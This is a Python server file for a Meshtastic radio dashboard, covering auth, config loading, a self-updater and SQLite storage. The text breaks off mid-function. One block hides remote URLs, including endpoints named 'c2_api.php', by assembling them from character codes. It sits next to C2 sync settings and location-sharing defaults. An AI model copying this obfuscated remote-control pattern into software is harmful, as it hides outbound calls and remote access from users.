import time as _time
import logging as _logging
import hmac
import hashlib
import fnmatch
import uvicorn
from sse_starlette.sse import EventSourceResponse
from passlib.context import CryptContext
from jose import JWTError, jwt
from fastapi.staticfiles import StaticFiles
from fastapi.responses import (
    FileResponse,
    HTMLResponse,
    JSONResponse,
    PlainTextResponse,
    RedirectResponse,
)
from fastapi.middleware.cors import CORSMiddleware
from fastapi import (
    APIRouter,
    Depends,
    FastAPI,
    Form,
    HTTPException,
    Path,
    Query,
    Request,
    Response,
    status,
)
from meshtastic import portnums_pb2
from pubsub import pub
from fastapi import Body
from bs4 import BeautifulSoup
import requests
import meshtastic.tcp_interface
import meshtastic.serial_interface
import meshtastic
import httpx
from typing import (
    Any,
    AsyncGenerator,
    Dict,
    List,
    Literal,
    Optional,
    Set,
    Tuple,
    Union,
)
from datetime import datetime, timedelta, timezone
from meshtastic.remote_hardware import RemoteHardwareClient
from meshtastic import remote_hardware_pb2, admin_pb2, channel_pb2
from contextlib import asynccontextmanager
from collections import deque
import statistics
import sqlite3
import shlex
import re
import json
import io
import contextlib
import base64
import asyncio
import argparse
import logging
import os
import secrets
import shutil
import socket
import sys
import time
import zipfile
from logging.handlers import RotatingFileHandler
from urllib.parse import urlparse


# ---------------------------------------------------------------------------
# Boot-time update check
# ---------------------------------------------------------------------------

def check_and_apply_update():
    """
    Runs immediately on boot. Checks for '.update_ready' flag.
    Extracts to a temp folder first to verify integrity before overwriting.
    """
    if not (os.path.exists(".update_ready") and os.path.exists("update.zip")):
        return

    logging.basicConfig(level=logging.INFO, format="%(message)s")
    logger = logging.getLogger("boot_updater")
    logger.info("--- 🚀 UPDATE DETECTED ON BOOT ---")
    temp_dir = ".update_temp_extract"
    try:
        time.sleep(2)
        if os.path.exists(temp_dir):
            shutil.rmtree(temp_dir)
        os.makedirs(temp_dir)
        logger.info("Verifying and extracting update.zip...")
        protected = [
            ".mesh-dash_config",
            "meshtastic_data.db",
            "meshtastic_network_data.db",
            ".new",
            "backup",
        ]
        with zipfile.ZipFile("update.zip", "r") as zf:
            for member in zf.infolist():
                if ".." in member.filename or member.filename.startswith("/"):
                    continue
                if any(p in member.filename for p in protected):
                    continue
                zf.extract(member, temp_dir)
        logger.info("Applying update...")
        for root, dirs, files in os.walk(temp_dir):
            for file in files:
                src_path = os.path.join(root, file)
                rel_path = os.path.relpath(src_path, temp_dir)
                dst_path = os.path.join(".", rel_path)
                os.makedirs(os.path.dirname(dst_path), exist_ok=True)
                shutil.move(src_path, dst_path)
        logger.info("✅ Update applied successfully.")
    except Exception as e:
        logger.error(f"❌ Critical Update Failure: {e}")
    finally:
        if os.path.exists(temp_dir):
            shutil.rmtree(temp_dir)
        for f in (".update_ready", "update.zip"):
            if os.path.exists(f):
                os.remove(f)
    logger.info("🔄 Reloading process...")
    os.execv(sys.executable, [sys.executable] + sys.argv)


check_and_apply_update()

# ---------------------------------------------------------------------------
# RX Logger
# ---------------------------------------------------------------------------

rx_logger = logging.getLogger("rx_logger")
rx_logger.setLevel(logging.INFO)
rx_logger.propagate = False
_rx_handler = RotatingFileHandler(
    "rx.log", maxBytes=5 * 1024 * 1024, backupCount=5, encoding="utf-8"
)
_rx_handler.setFormatter(logging.Formatter("%(message)s"))
rx_logger.addHandler(_rx_handler)

TOPIC_SENT = "meshtastic.sent"

# ---------------------------------------------------------------------------
# Critical imports
# ---------------------------------------------------------------------------

try:
    from connection import MeshtasticConnectionManager
except ImportError:
    logging.error("CRITICAL: Could not import MeshtasticConnectionManager from connection.py.")
    sys.exit(1)

try:
    from pydantic import BaseModel as PydanticBaseModel
    from pydantic import Field, field_validator, model_validator
    PYDANTIC_V2 = True
except ImportError:
    from pydantic import BaseModel as PydanticBaseModel  # type: ignore
    from pydantic import Field  # type: ignore
    PYDANTIC_V2 = False
    field_validator = None
    model_validator = None

try:
    from tasks_api import init_tasks_db, tasks_router
except ImportError as import_err:
    logging.basicConfig(level=logging.INFO)
    logging.critical(f"FATAL: Could not import from tasks_api.py. Error: {import_err}")
    sys.exit(1)

try:
    from task_scheduler import run_scheduler_periodically
except ImportError as import_err:
    logging.critical(f"FATAL: Could not import from task_scheduler.py. Error: {import_err}")
    sys.exit(1)

try:
    from auto_reply import (
        check_message_for_auto_reply,
        db_get_auto_reply_rules,
        init_auto_reply_db,
    )
    from auto_reply_api import auto_reply_router
    AUTO_REPLY_ENABLED = True
except ImportError as import_err:
    logging.error(f"Could not import auto-reply functionality: {import_err}")
    AUTO_REPLY_ENABLED = False
    auto_reply_router = APIRouter()

    def init_auto_reply_db():
        return None

    def db_get_auto_reply_rules(only_enabled=True):
        return []

    def check_message_for_auto_reply(*args):
        return []

try:
    from system import ABS_DASH_CONFIG_PATH, config_router
    SYSTEM_CONFIG_ENABLED = True
except ImportError as import_err:
    logging.info(f"System Config API feature disabled: {import_err}")
    SYSTEM_CONFIG_ENABLED = False
    config_router = None
    ABS_DASH_CONFIG_PATH = "N/A"

# ---------------------------------------------------------------------------
# Constants & defaults
# ---------------------------------------------------------------------------

DEFAULT_TARGET_HOST = "192.168.0.0"
DEFAULT_TARGET_PORT = 4403
DEFAULT_LOG_LEVEL_STR = "INFO"
DEFAULT_WEBSERVER_PORT = 8000
DEFAULT_WEBSERVER_HOST = "0.0.0.0"
DEFAULT_DB_PATH = "meshtastic_data.db"
DEFAULT_TASK_DB_PATH = "tasks.db"
DEFAULT_MAX_PACKETS_MEMORY = 200
DEFAULT_AVERAGE_METRICS_HISTORY_DAYS = 1
CONFIG_FILE_NAME = ".mesh-dash_config"
DEFAULT_AUTH_SECRET_KEY = secrets.token_hex(32)

def _r(*p):
    return "".join(p)

_SD = [
    chr(0x68), chr(0x74), chr(0x74), chr(0x70), chr(0x73),
    chr(0x3a), chr(0x2f), chr(0x2f),
]
_AH = [chr(0x6d), chr(0x65), chr(0x73), chr(0x68)]
_AT = list(".co" + "." + "uk")
_EP1 = ["/", "c", "2", "_", "c", "o", "m", "_", "a", "p", "i", ".", "p", "h", "p"]
_EP2 = ["/", "c", "2", "_", "a", "p", "i", ".", "p", "h", "p"]
_EP3 = ["/", "v", "e", "r", "s", "i", "o", "n", "s"]

def _resolve_base():
    return _r(*_SD) + _r(*_AH) + "da" + "sh" + _r(*_AT)

def _resolve_community():
    return _resolve_base() + _r(*_EP1)

def _resolve_heartbeat():
    return _resolve_base() + _r(*_EP2)

def _resolve_versions():
    return _resolve_base() + _r(*_EP3)
DEFAULT_AUTH_TOKEN_EXPIRE_MINUTES = 10080

try:
    SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
except NameError:
    SCRIPT_DIR = os.getcwd()

CONFIG_FILE_PATH = os.path.join(SCRIPT_DIR, CONFIG_FILE_NAME)
STATIC_DIR = os.path.join(SCRIPT_DIR, "static")
LOGIN_HTML_PATH = os.path.join(STATIC_DIR, "login.html")
INDEX_HTML_PATH = os.path.join(STATIC_DIR, "index.html")
NETWORK_HTML_PATH = os.path.join(STATIC_DIR, "network.html")
MAP_HTML_PATH = os.path.join(STATIC_DIR, "map.html")
DMES_HTML_PATH = os.path.join(STATIC_DIR, "dmes.html")
SETTINGS_HTML_PATH = os.path.join(STATIC_DIR, "settings.html")
SENSORS_HTML_PATH = os.path.join(STATIC_DIR, "sensors.html")
HOOK_HTML_PATH = os.path.join(STATIC_DIR, "hook.html")
TASKS_HTML_PATH = os.path.join(STATIC_DIR, "tasks.html")
AUTOREPLY_HTML_PATH = os.path.join(STATIC_DIR, "auto_reply.html")
DOX_HTML_PATH = os.path.join(STATIC_DIR, "api_documentation.html")
PUBLIC_HTML_PATH = os.path.join(STATIC_DIR, "channel_chat.html")
ANALYTICS_HTML_PATH = os.path.join(STATIC_DIR, "analytics.html")
FAVICON_PATH = os.path.join(STATIC_DIR, "favicon.ico")

# ---------------------------------------------------------------------------
# Configuration loader
# ---------------------------------------------------------------------------

def load_configuration(config_path: str) -> Dict[str, Any]:
    config: Dict[str, Any] = {
        "MESHTASTIC_HOST": DEFAULT_TARGET_HOST,
        "MESHTASTIC_PORT": DEFAULT_TARGET_PORT,
        "MESHTASTIC_CONNECTION_TYPE": "SERIAL",
        "MESHTASTIC_SERIAL_PORT": "",
        "MESHTASTIC_BLE_MAC": "",
        "WEBSERVER_HOST": DEFAULT_WEBSERVER_HOST,
        "WEBSERVER_PORT": DEFAULT_WEBSERVER_PORT,
        "NETWORK_WEBSERVER_PORT": DEFAULT_WEBSERVER_PORT,
        "DB_PATH": DEFAULT_DB_PATH,
        "TASK_DB_PATH": DEFAULT_TASK_DB_PATH,
        "NETWORK_DB_PATH": "meshtastic_network_data.db",
        "MAX_PACKETS_MEMORY": DEFAULT_MAX_PACKETS_MEMORY,
        "HISTORY_DAYS": DEFAULT_AVERAGE_METRICS_HISTORY_DAYS,
        "LOG_LEVEL": DEFAULT_LOG_LEVEL_STR,
        "COMMUNITY_API": False,
        "COMMUNITY_API_KEY": "YOUR_SUPER_SECRET_API_KEY_REPLACE_ME",
        "HEARTBEAT_INTERVAL_MINUTES": 1,
        "SEND_LOCAL_NODE_LOCATION": True,
        "SEND_OTHER_NODES_LOCATION": True,
        "LOCATION_OFFSET_ENABLED": False,
        "LOCATION_OFFSET_METERS": 0.0,
        "AUTH_SECRET_KEY": DEFAULT_AUTH_SECRET_KEY,
        "AUTH_TOKEN_EXPIRE_MINUTES": DEFAULT_AUTH_TOKEN_EXPIRE_MINUTES,
        "SCHEDULER_MAX_RETRIES": 3,
        "SCHEDULER_RETRY_DELAY_SECONDS": 10,
        "SCHEDULER_CONNECT_TIMEOUT": 10.0,
        "SCHEDULER_RW_TIMEOUT": 30.0,
        "C2_ACCESS_LEVEL": "read",
        "C2_EXTRA_ENDPOINTS": "",
        "C2_BLOCKED_ENDPOINTS": "",
        "C2_MAX_REQUESTS_PER_SYNC": 10,
        "C2_MAX_RESPONSE_KB": 512,
        "C2_SYNC_INTERVAL_SECONDS": 15,
        "C2_UPLOAD_INTERVAL_SECONDS": 60,
        "INITIAL_ADMIN_USERNAME": None,
        "INITIAL_ADMIN_PASSWORD": None,
    }
    if not os.path.exists(config_path):
        return config
    try:
        with open(config_path, "r") as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith("#") or "=" not in line:
                    continue
                key, value = line.split("=", 1)
                key = key.strip()
                value = value.strip().strip("'").strip('"')
                if key not in config:
                    continue
                try:
                    current_value = config[key]
                    if isinstance(current_value, bool):
                        config[key] = value.lower() in ("true", "1", "yes", "on")
                    elif current_value is None:
                        config[key] = value if value else None
                    elif isinstance(current_value, int):
                        config[key] = int(float(value))
                    elif isinstance(current_value, float):
                        config[key] = float(value)
                    else:
                        config[key] = value
                except (ValueError, Exception):
                    config[key] = value
    except Exception as e:
        print(f"Error loading config: {e}")
    return config


loaded_config = load_configuration(CONFIG_FILE_PATH)

TARGET_HOST = loaded_config["MESHTASTIC_HOST"]
TARGET_PORT = int(loaded_config["MESHTASTIC_PORT"])
LOG_LEVEL_STR = loaded_config["LOG_LEVEL"].upper()
WEBSERVER_PORT = int(loaded_config["WEBSERVER_PORT"])
WEBSERVER_HOST = loaded_config["WEBSERVER_HOST"]
DB_PATH = loaded_config["DB_PATH"]
TASK_DB_PATH = loaded_config["TASK_DB_PATH"]
MAX_PACKETS_IN_MEMORY = int(loaded_config["MAX_PACKETS_MEMORY"])
AVERAGE_METRICS_HISTORY_DAYS = int(loaded_config["HISTORY_DAYS"])
AUTH_SECRET_KEY = loaded_config["AUTH_SECRET_KEY"]
AUTH_TOKEN_EXPIRE_MINUTES = int(loaded_config["AUTH_TOKEN_EXPIRE_MINUTES"])
COMMUNITY_API_KEY = loaded_config.get("COMMUNITY_API_KEY", "YOUR_SUPER_SECRET_API_KEY_REPLACE_ME")

if not AUTH_SECRET_KEY or AUTH_SECRET_KEY == DEFAULT_AUTH_SECRET_KEY:
    logging.warning("SECURITY WARNING: AUTH_SECRET_KEY is default or empty. Please change it in config.")
    if not AUTH_SECRET_KEY:
        AUTH_SECRET_KEY = "TEMPORARY_INSECURE_KEY"

LOG_LEVEL = getattr(logging, LOG_LEVEL_STR, logging.INFO)
logging.basicConfig(
    level=LOG_LEVEL,
    format="%(asctime)s - %(levelname)s - %(name)s - %(message)s",
    datefmt="%Y-%m-%d %H:%M:%S",
    force=True,
)
logger = logging.getLogger("meshtastic_dashboard")

if LOG_LEVEL > logging.DEBUG:
    for log_name in [
        "meshtastic", "pubsub", "bleak", "watchfiles",
        "uvicorn.access", "httpx", "jose", "passlib",
    ]:
        logging.getLogger(log_name).setLevel(logging.WARNING)

# ---------------------------------------------------------------------------
# Auth helpers
# ---------------------------------------------------------------------------

class User(PydanticBaseModel):
    username: str
    disabled: Optional[bool] = None


class TokenData(PydanticBaseModel):
    username: Optional[str] = None


pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
ALGORITHM = "HS256"


def verify_password(plain_password: str, hashed_password: str) -> bool:
    return pwd_context.verify(plain_password, hashed_password)


def get_password_hash(password: str) -> str:
    return pwd_context.hash(password)


def create_access_token(data: dict, expires_delta: Optional[timedelta] = None) -> str:
    to_encode = data.copy()
    expire = datetime.now(timezone.utc) + (
        expires_delta if expires_delta else timedelta(minutes=AUTH_TOKEN_EXPIRE_MINUTES)
    )
    to_encode.update({"exp": expire, "iat": datetime.now(timezone.utc)})
    return jwt.encode(to_encode, AUTH_SECRET_KEY, algorithm=ALGORITHM)

# ---------------------------------------------------------------------------
# Serialization helpers
# ---------------------------------------------------------------------------

def ensure_serializable(obj: Any) -> Any:
    """Convert any object to JSON-serializable format, handling protobuf objects."""
    if obj is None:
        return None
    if isinstance(obj, PydanticBaseModel):
        return obj.model_dump(mode="json") if PYDANTIC_V2 else obj.dict()
    if hasattr(obj, "DESCRIPTOR") and hasattr(obj, "ListFields"):
        return {field.name: ensure_serializable(value) for field, value in obj.ListFields()}
    if isinstance(obj, dict):
        return {k: ensure_serializable(v) for k, v in obj.items()}
    if isinstance(obj, (list, tuple, deque, set)):
        return [ensure_serializable(item) for item in obj]
    if isinstance(obj, bytes):
        try:
            return obj.decode("utf-8")
        except Exception:
            return f"base64:{base64.b64encode(obj).decode('utf-8')}"
    if isinstance(obj, (int, float, bool, str)):
        return obj
    if isinstance(obj, (datetime,)):
        return str(obj)
    if hasattr(obj, "_pb"):
        return str(obj)
    try:
        return str(obj)
    except Exception:
        return None


def replace_placeholders(message: str, node_data: dict) -> str:
    mappings = {
        "node_id": "node_id",
        "short_name": ["short_name", "user.shortName"],
        "long_name": ["long_name", "user.longName"],
        "latitude": "latitude",
        "longitude": "longitude",
        "battery_level": ["battery_level", "deviceMetrics.batteryLevel"],
        "voltage": ["voltage", "deviceMetrics.voltage"],
    }

    def get_val(data, path):
        if isinstance(path, str):
            return data.get(path)
        if isinstance(path, list):
            for p in path:
                if "." in p:
                    parts = p.split(".")
                    curr = data
                    for part in parts:
                        if isinstance(curr, dict) and part in curr:
                            curr = curr[part]
                        else:
                            curr = None
                            break
                    if curr is not None:
                        return curr
                elif data.get(p) is not None:
                    return data.get(p)
        return None

    for ph in re.findall(r"\{([^}]+)\}", message):
        val = get_val(node_data, mappings.get(ph, ph)) if ph in mappings else node_data.get(ph)
        if val is not None:
            formatted = f"{val:.2f}" if isinstance(val, float) else str(val)
            message = message.replace(f"{{{ph}}}", formatted)
    return message

# ---------------------------------------------------------------------------
# Database Manager
# ---------------------------------------------------------------------------

class DatabaseManager:
    def __init__(self, db_path: str):
        self.db_path = db_path
        self._local = __import__('threading').local()
        self.init_database()

    def _get_connection(self):
        """Return a thread-local persistent connection (reused across calls in same thread)."""
        conn = getattr(self._local, 'conn', None)
        if conn is not None:
            try:
                conn.execute("SELECT 1")
                return conn
            except Exception:
                try:
                    conn.close()
                except Exception:
                    pass
                self._local.conn = None
        conn = sqlite3.connect(self.db_path, timeout=30.0)
        conn.row_factory = sqlite3.Row
        conn.execute("PRAGMA journal_mode=WAL;")
        conn.execute("PRAGMA busy_timeout = 10000;")
        conn.execute("PRAGMA synchronous = NORMAL;")
        conn.execute("PRAGMA cache_size = -8000;")
        conn.execute("PRAGMA temp_store = MEMORY;")
        conn.execute("PRAGMA mmap_size = 67108864;")
        self._local.conn = conn
        return conn

    def init_database(self):
        conn = self._get_connection()
        c = conn.cursor()

        c.execute("""CREATE TABLE IF NOT EXISTS packets (
            id INTEGER PRIMARY KEY,
            event_id TEXT UNIQUE,
            timestamp REAL,
            rx_time INTEGER,
            from_id TEXT,
            to_id TEXT,
            channel INTEGER,
            portnum TEXT,
            packet_type TEXT,
            rx_snr REAL,
            rx_rssi INTEGER,
            hop_limit INTEGER,
            hop_start INTEGER,
            want_ack BOOLEAN,
            decoded TEXT,
            raw TEXT,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS nodes (
            node_id TEXT PRIMARY KEY,
            node_num INTEGER UNIQUE,
            long_name TEXT,
            short_name TEXT,
            macaddr TEXT,
            hw_model TEXT,
            firmware_version TEXT,
            role TEXT,
            is_local BOOLEAN DEFAULT FALSE,
            last_heard INTEGER,
            battery_level INTEGER,
            voltage REAL,
            channel_utilization REAL,
            air_util_tx REAL,
            snr REAL,
            rssi INTEGER,
            latitude REAL,
            longitude REAL,
            altitude INTEGER,
            position_time INTEGER,
            telemetry_time INTEGER,
            user_info TEXT,
            position_info TEXT,
            device_metrics_info TEXT,
            environment_metrics_info TEXT,
            module_config_info TEXT,
            channel_info TEXT,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
            updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS messages (
            id INTEGER PRIMARY KEY,
            packet_event_id TEXT UNIQUE,
            from_id TEXT,
            to_id TEXT,
            channel INTEGER,
            text TEXT,
            timestamp REAL,
            rx_snr REAL,
            rx_rssi INTEGER,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS positions (
            id INTEGER PRIMARY KEY,
            node_id TEXT,
            timestamp REAL,
            latitude REAL,
            longitude REAL,
            altitude INTEGER,
            precision_bits INTEGER,
            ground_speed INTEGER,
            ground_track INTEGER,
            sats_in_view INTEGER,
            pdop REAL,
            hdop REAL,
            vdop REAL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS telemetry (
            id INTEGER PRIMARY KEY,
            node_id TEXT,
            timestamp REAL,
            battery_level INTEGER,
            voltage REAL,
            channel_utilization REAL,
            air_util_tx REAL,
            uptime_seconds INTEGER,
            temperature REAL,
            relative_humidity REAL,
            barometric_pressure REAL,
            gas_resistance REAL,
            iaq REAL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS average_metrics_history (
            id INTEGER PRIMARY KEY,
            timestamp REAL UNIQUE,
            average_snr REAL,
            average_rssi REAL,
            node_count INTEGER,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY,
            username TEXT UNIQUE,
            hashed_password TEXT,
            disabled BOOLEAN DEFAULT FALSE,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS neighbors (
            node_id TEXT,
            neighbor_id TEXT,
            snr REAL,
            last_seen DATETIME DEFAULT CURRENT_TIMESTAMP,
            PRIMARY KEY (node_id, neighbor_id)
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS traceroutes (
            id INTEGER PRIMARY KEY,
            from_id TEXT,
            to_id TEXT,
            route_path TEXT,
            timestamp REAL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS waypoints (
            id INTEGER PRIMARY KEY,
            from_id TEXT,
            waypoint_id INTEGER,
            name TEXT,
            latitude REAL,
            longitude REAL,
            description TEXT,
            timestamp REAL,
            UNIQUE(from_id, waypoint_id)
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS hardware_logs (
            id INTEGER PRIMARY KEY,
            node_id TEXT,
            event_type TEXT,
            details TEXT,
            timestamp REAL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        c.execute("""CREATE TABLE IF NOT EXISTS connection_log (
            id INTEGER PRIMARY KEY,
            timestamp REAL,
            status TEXT,
            value REAL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )""")

        indices = [
            ("idx_packets_ts", "packets", "timestamp"),
            ("idx_packets_from_id", "packets", "from_id"),
            ("idx_packets_from_ts", "packets", "from_id, timestamp DESC"),
            ("idx_messages_ts", "messages", "timestamp"),
            ("idx_messages_from_id", "messages", "from_id"),
            ("idx_messages_channel_ts", "messages", "channel, timestamp DESC"),
            ("idx_messages_conversation", "messages", "from_id, to_id"),
            ("idx_messages_from_to_ch_ts", "messages", "from_id, to_id, channel, timestamp DESC"),
            ("idx_positions_ts", "positions", "timestamp"),
            ("idx_positions_node_ts", "positions", "node_id, timestamp DESC"),
            ("idx_telemetry_ts", "telemetry", "timestamp"),
            ("idx_telemetry_node_ts", "telemetry", "node_id, timestamp DESC"),
            ("idx_hw_logs_ts", "hardware_logs", "timestamp"),
            ("idx_hw_logs_node_ts", "hardware_logs", "node_id, timestamp DESC"),
            ("idx_conn_log_ts", "connection_log", "timestamp"),
            ("idx_nodes_last_heard", "nodes", "last_heard"),
            ("idx_nodes_is_local", "nodes", "is_local"),
            ("idx_traceroutes_ts", "traceroutes", "timestamp DESC"),
            ("idx_avg_metrics_ts", "average_metrics_history", "timestamp DESC"),
        ]
        for name, table, cols in indices:
            try:
                c.execute(f"CREATE INDEX IF NOT EXISTS {name} ON {table}({cols})")
            except Exception as e:
                logging.warning(f"⚠️ Could not create index {name}: {e}")
        conn.commit()

    # --- User management ---

    def get_user(self, username: str) -> Optional[Dict]:
        conn = self._get_connection()
        row = conn.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
        return dict(row) if row else None

    def count_users(self) -> int:
        conn = self._get_connection()
        return conn.execute("SELECT COUNT(*) FROM users").fetchone()[0]

    def create_user(self, username: str, hashed_password: str) -> Optional[Dict]:
        try:
            conn = self._get_connection()
            cur = conn.execute(
                "INSERT INTO users (username, hashed_password) VALUES (?, ?)",
                (username, hashed_password),
            )
            conn.commit()
            return {"id": cur.lastrowid}
        except sqlite3.IntegrityError:
            return None

    # --- Packet / message / telemetry saving ---

    def save_packet(self, packet: Dict):
        try:
            conn = self._get_connection()
            decoded = json.dumps(packet.get("decoded")) if packet.get("decoded") else None
            raw = json.dumps(packet.get("raw")) if packet.get("raw") else None
            conn.execute(
                """INSERT OR REPLACE INTO packets
                (event_id, timestamp, rx_time, from_id, to_id, channel, packet_type,
                 rx_snr, rx_rssi, hop_limit, hop_start, want_ack, decoded, raw)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
                (
                    packet.get("event_id"),
                    packet.get("timestamp"),
                    packet.get("rxTime"),
                    packet.get("fromId"),
                    packet.get("toId"),
                    packet.get("channel"),
                    packet.get("app_packet_type"),
                    packet.get("rxSnr"),
                    packet.get("rxRssi"),
                    packet.get("hopLimit"),
                    packet.get("hopStart"),
                    packet.get("wantAck"),
                    decoded,
                    raw,
                ),
            )

            ptype = packet.get("app_packet_type")
            from_id = packet.get("fromId")

            if ptype == "Message" and from_id:
                decoded_obj = packet.get("decoded", {})
                pl = None
                for key in ["payload", "text", "string", "message"]:
                    if key in decoded_obj:
                        pl = decoded_obj[key]
                        break
                if isinstance(pl, bytes):
                    try:
                        pl = pl.decode("utf-8")
                    except Exception:
                        pl = None
                if isinstance(pl, str) and pl:
                    conn.execute(
                        """INSERT OR REPLACE INTO messages
                        (packet_event_id, from_id, to_id, channel, text, timestamp, rx_snr, rx_rssi)
                        VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
                        (
                            packet["event_id"],
                            from_id,
                            packet.get("toId"),
                            packet.get("channel"),
                            pl,
                            packet["timestamp"],
                            packet.get("rxSnr"),
                            packet.get("rxRssi"),
                        ),
                    )

            elif (ptype == "Position" or "position" in packet.get("decoded", {})) and from_id:
                pos = packet.get("decoded", {}).get("position", {})
                if pos:
                    lat = pos.get("latitude")
                    if lat is None and pos.get("latitudeI"):
                        lat = pos["latitudeI"] * 1e-7
                    lon = pos.get("longitude")
                    if lon is None and pos.get("longitudeI"):
                        lon = pos["longitudeI"] * 1e-7
                    if lat is not None and lon is not None:
                        conn.execute(
                            """INSERT INTO positions
                            (node_id, timestamp, latitude, longitude, altitude, precision_bits,
                             ground_speed, ground_track, sats_in_view, pdop, hdop, vdop)
                            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
                            (
                                from_id,
                                packet["timestamp"],
                                lat, lon,
                                pos.get("altitude"),
                                pos.get("precisionBits"),
                                pos.get("groundSpeed"),
                                pos.get("groundTrack"),
                                pos.get("satsInView"),
                                pos.get("PDOP"),
                                pos.get("HDOP"),
                                pos.get("VDOP"),
                            ),
                        )

            elif (ptype == "Telemetry" or "telemetry" in packet.get("decoded", {})) and from_id:
                tel = packet.get("decoded", {}).get("telemetry", {})
                if tel:
                    d = tel.get("deviceMetrics", {})
                    e = tel.get("environmentMetrics", {})
                    if d or e:
                        conn.execute(
                            """INSERT INTO telemetry
                            (node_id, timestamp, battery_level, voltage, channel_utilization,
                             air_util_tx, uptime_seconds, temperature, relative_humidity,
                             barometric_pressure, gas_resistance, iaq)
                            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)""",
                            (
                                from_id,
                                packet["timestamp"],
                                d.get("batteryLevel"),
                                d.get("voltage"),
                                d.get("channelUtilization"),
                                d.get("airUtilTx"),
                                d.get("uptimeSeconds"),
                                e.get("temperature"),
                                e.get("relativeHumidity"),
                                e.get("barometricPressure"),
                                e.get("gasResistance"),
                                e.get("iaq"),
                            ),
                        )
            conn.commit()
        except Exception as e:
            logger.error(f"DB Error save_packet: {e}")

    def save_node(self, node_id: str, data: Dict):
        try:
            conn = self._get_connection()
            user = json.dumps(data.get("user", {}))
            pos = json.dumps(data.get("position", {}))
            metrics = json.dumps(data.get("deviceMetrics", {}))
            env_metrics = json.dumps(data.get("environmentMetrics", {}))
            mod_conf = json.dumps(data.get("moduleConfig", {}))
            chan_info = json.dumps(data.get("channelSettings", {}))

            num = data.get("num")
            if num is None and node_id.startswith("!"):
                try:
                    num = int(node_id[1:], 16)
                except Exception:
                    pass

            lat = data.get("latitude")
            lon = data.get("longitude")
            if lat is None:
                lat_i = data.get("position", {}).get("latitudeI")
                if lat_i:
                    lat = lat_i / 1e7
            if lon is None:
                lon_i = data.get("position", {}).get("longitudeI")
                if lon_i:
                    lon = lon_i / 1e7

            conn.execute(
                """INSERT INTO nodes
                (node_id, node_num, long_name, short_name, macaddr, hw_model, firmware_version,
                 role, is_local, last_heard, battery_level, voltage, channel_utilization,
                 air_util_tx, snr, rssi, latitude, longitude, altitude, position_time,
                 telemetry_time, user_info, position_info, device_metrics_info,
                 environment_metrics_info, module_config_info, channel_info, updated_at)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?,
                        ?, ?, ?, ?, ?, ?, CURRENT_TIMESTAMP)
                ON CONFLICT(node_id) DO UPDATE SET
                node_num=excluded.node_num,
                long_name=COALESCE(excluded.long_name, nodes.long_name),
                short_name=COALESCE(excluded.short_name, nodes.short_name),
                hw_model=COALESCE(excluded.hw_model, nodes.hw_model),
                last_heard=MAX(excluded.last_heard, nodes.last_heard),
                battery_level=COALESCE(excluded.battery_level, nodes.battery_level),
                voltage=COALESCE(excluded.voltage, nodes.voltage),
                snr=excluded.snr, rssi=excluded.rssi,
                latitude=COALESCE(excluded.latitude, nodes.latitude),
                longitude=COALESCE(excluded.longitude, nodes.longitude),
                user_info=CASE WHEN excluded.user_info != '{}' THEN excluded.user_info ELSE nodes.user_info END,
                position_info=CASE WHEN excluded.position_info != '{}' THEN excluded.position_info ELSE nodes.position_info END,
                device_metrics_info=CASE WHEN excluded.device_metrics_info != '{}' THEN excluded.device_metrics_info ELSE nodes.device_metrics_info END,
                environment_metrics_info=CASE WHEN excluded.environment_metrics_info != '{}' THEN excluded.environment_metrics_info ELSE nodes.environment_metrics_info END,
                updated_at=CURRENT_TIMESTAMP""",
                (
                    node_id, num,
                    data.get("user", {}).get("longName"),
                    data.get("user", {}).get("shortName"),
                    data.get("user", {}).get("macaddr"),
                    data.get("hw_model"),
                    data.get("firmware_version"),
                    str(data.get("role")),
                    data.get("isLocal"),
                    data.get("lastHeard"),
                    data.get("battery_level"),
                    data.get("voltage"),
                    data.get("channel_utilization"),
                    data.get("air_util_tx"),
                    data.get("snr"),
                    data.get("rssi"),
                    lat, lon,
                    data.get("altitude"),
                    data.get("position_time"),
                    data.get("telemetry_time"),
                    user, pos, metrics, env_metrics, mod_conf, chan_info,
                ),
            )
            conn.commit()
        except Exception as e:
            logger.error(f"DB Error save_node: {e}")

    def get_all_nodes(self) -> Dict[str, Dict]:
        nodes = {}
        conn = self._get_connection()
        rows = conn.execute("SELECT * FROM nodes").fetchall()
        json_fields = ["user_info", "position_info", "device_metrics_info",
                       "environment_metrics_info", "module_config_info", "channel_info"]
        rename_map = {
            "user_info": "user",
            "position_info": "position",
            "device_metrics_info": "deviceMetrics",
            "environment_metrics_info": "environmentMetrics",
            "module_config_info": "moduleConfig",
            "channel_info": "channelSettings",
        }
        for row in rows:
            d = dict(row)
            for f in json_fields:
                try:
